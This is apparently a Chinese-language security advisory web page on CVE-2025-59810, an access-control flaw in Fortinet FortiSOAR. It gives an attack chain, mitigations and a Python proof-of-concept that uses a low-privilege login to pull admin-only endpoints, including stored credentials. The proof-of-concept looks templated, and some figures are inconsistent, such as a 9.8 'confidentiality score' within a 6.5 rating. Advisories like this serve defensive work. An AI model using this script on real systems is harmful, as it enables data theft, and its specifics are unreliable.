IPBUF安全漏洞报告
English
CVE-2025-59810 CVSS 6.5 中危

CVE-2025-59810 FortiSOAR访问控制不当导致信息泄露

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-59810
漏洞类型
访问控制不当
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FortiSOAR PaaS, FortiSOAR on-premise

相关标签

CVE-2025-59810FortiSOARFortinet访问控制信息泄露API安全权限绕过MEDIUMCVSS 6.5

漏洞概述

CVE-2025-59810是Fortinet FortiSOAR产品中的一个访问控制不当漏洞。该漏洞存在于FortiSOAR 7.3至7.6.2多个版本中,攻击者可通过精心构造的HTTP请求来绕过正常的权限检查机制,从而获取未经授权访问的敏感信息。由于该漏洞需要低权限认证,攻击者首先需要拥有一个有效的用户账户,但即使是低权限账户也能利用此漏洞获取高敏感度的数据。CVSS评分6.5属于中等严重程度,主要威胁在于机密性影响较高(评分9.8),可能导致配置信息、用户数据或其他敏感业务信息的泄露。建议受影响用户及时更新到供应商发布的安全补丁版本。

技术细节

该漏洞属于OWASP Top 10中的Broken Access Control类别,是一种典型的授权缺陷。攻击者利用FortiSOAR API端点中存在的权限验证缺陷,通过构造特定的HTTP请求参数或路径来访问本应需要更高权限才能查看的资源。漏洞根源在于服务器端对用户请求的权限检查逻辑不够严格,未能正确验证请求者是否具备访问目标资源的必要权限。攻击者可通过API枚举、参数篡改或路径遍历等技术手段获取敏感数据。成功利用此漏洞可导致数据库schema泄露、配置信息外泄、用户会话数据被读取等后果。攻击者获取的信息可能进一步用于横向移动或提权操作。

攻击链分析

STEP 1
步骤1
攻击者获取FortiSOAR低权限用户账户,可通过社会工程、凭证填充或内部人员获取
STEP 2
步骤2
攻击者使用低权限账户登录FortiSOAR系统,获取有效的会话token
STEP 3
步骤3
攻击者构造恶意API请求,通过参数篡改或路径遍历访问本应需要高权限的资源
STEP 4
步骤4
服务器端未能正确验证权限,返回敏感信息如配置数据、用户信息等
STEP 5
步骤5
攻击者收集泄露数据,可能用于进一步横向移动或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-59810 PoC - FortiSOAR Improper Access Control # Authentication required (low privilege user) # This PoC demonstrates information disclosure via crafted API requests import requests import json TARGET = "https://fortisoar.example.com" CVE_ID = "CVE-2025-59810" def exploit_fortisoar_access_control(): """Exploit improper access control in FortiSOAR""" # Step 1: Authenticate with low privilege account login_url = f"{TARGET}/api/auth/login" credentials = { "username": "low_privilege_user", "password": "password123" } session = requests.Session() response = session.post(login_url, json=credentials, verify=False) if response.status_code != 200: print(f"[-] Authentication failed") return None token = response.json().get("data", {}).get("token") headers = {"Authorization": f"Bearer {token}"} # Step 2: Exploit improper access control to access restricted endpoints # Try to access admin-only configuration endpoints sensitive_endpoints = [ "/api/connector/configurations", "/api/connector/credentials", "/api/users", "/api/settings/database", "/api/system/config" ] leaked_data = {} for endpoint in sensitive_endpoints: url = f"{TARGET}{endpoint}" resp = session.get(url, headers=headers, verify=False) if resp.status_code == 200: print(f"[+] Leaked data from {endpoint}") leaked_data[endpoint] = resp.json() return leaked_data if __name__ == "__main__": print(f"[*] Exploiting {CVE_ID}") data = exploit_fortisoar_access_control() if data: print(f"[+] Successfully extracted sensitive information")

影响范围

FortiSOAR PaaS 7.3 (所有版本)
FortiSOAR PaaS 7.4 (所有版本)
FortiSOAR PaaS 7.5.0 - 7.5.1
FortiSOAR PaaS 7.6.0 - 7.6.2
FortiSOAR on-premise 7.3 (所有版本)
FortiSOAR on-premise 7.4 (所有版本)
FortiSOAR on-premise 7.5.0 - 7.5.1
FortiSOAR on-premise 7.6.0 - 7.6.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下缓解措施:1) 限制API访问来源IP,只允许受信任的IP段访问FortiSOAR API;2) 启用增强的审计日志,记录所有API调用行为;3) 实施API速率限制,防止攻击者大规模枚举;4) 监控用户权限分配,确保低权限账户数量最少化;5) 考虑临时禁用非必要的API端点;6) 部署网络层隔离,将FortiSOAR部署在受保护的网段中。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表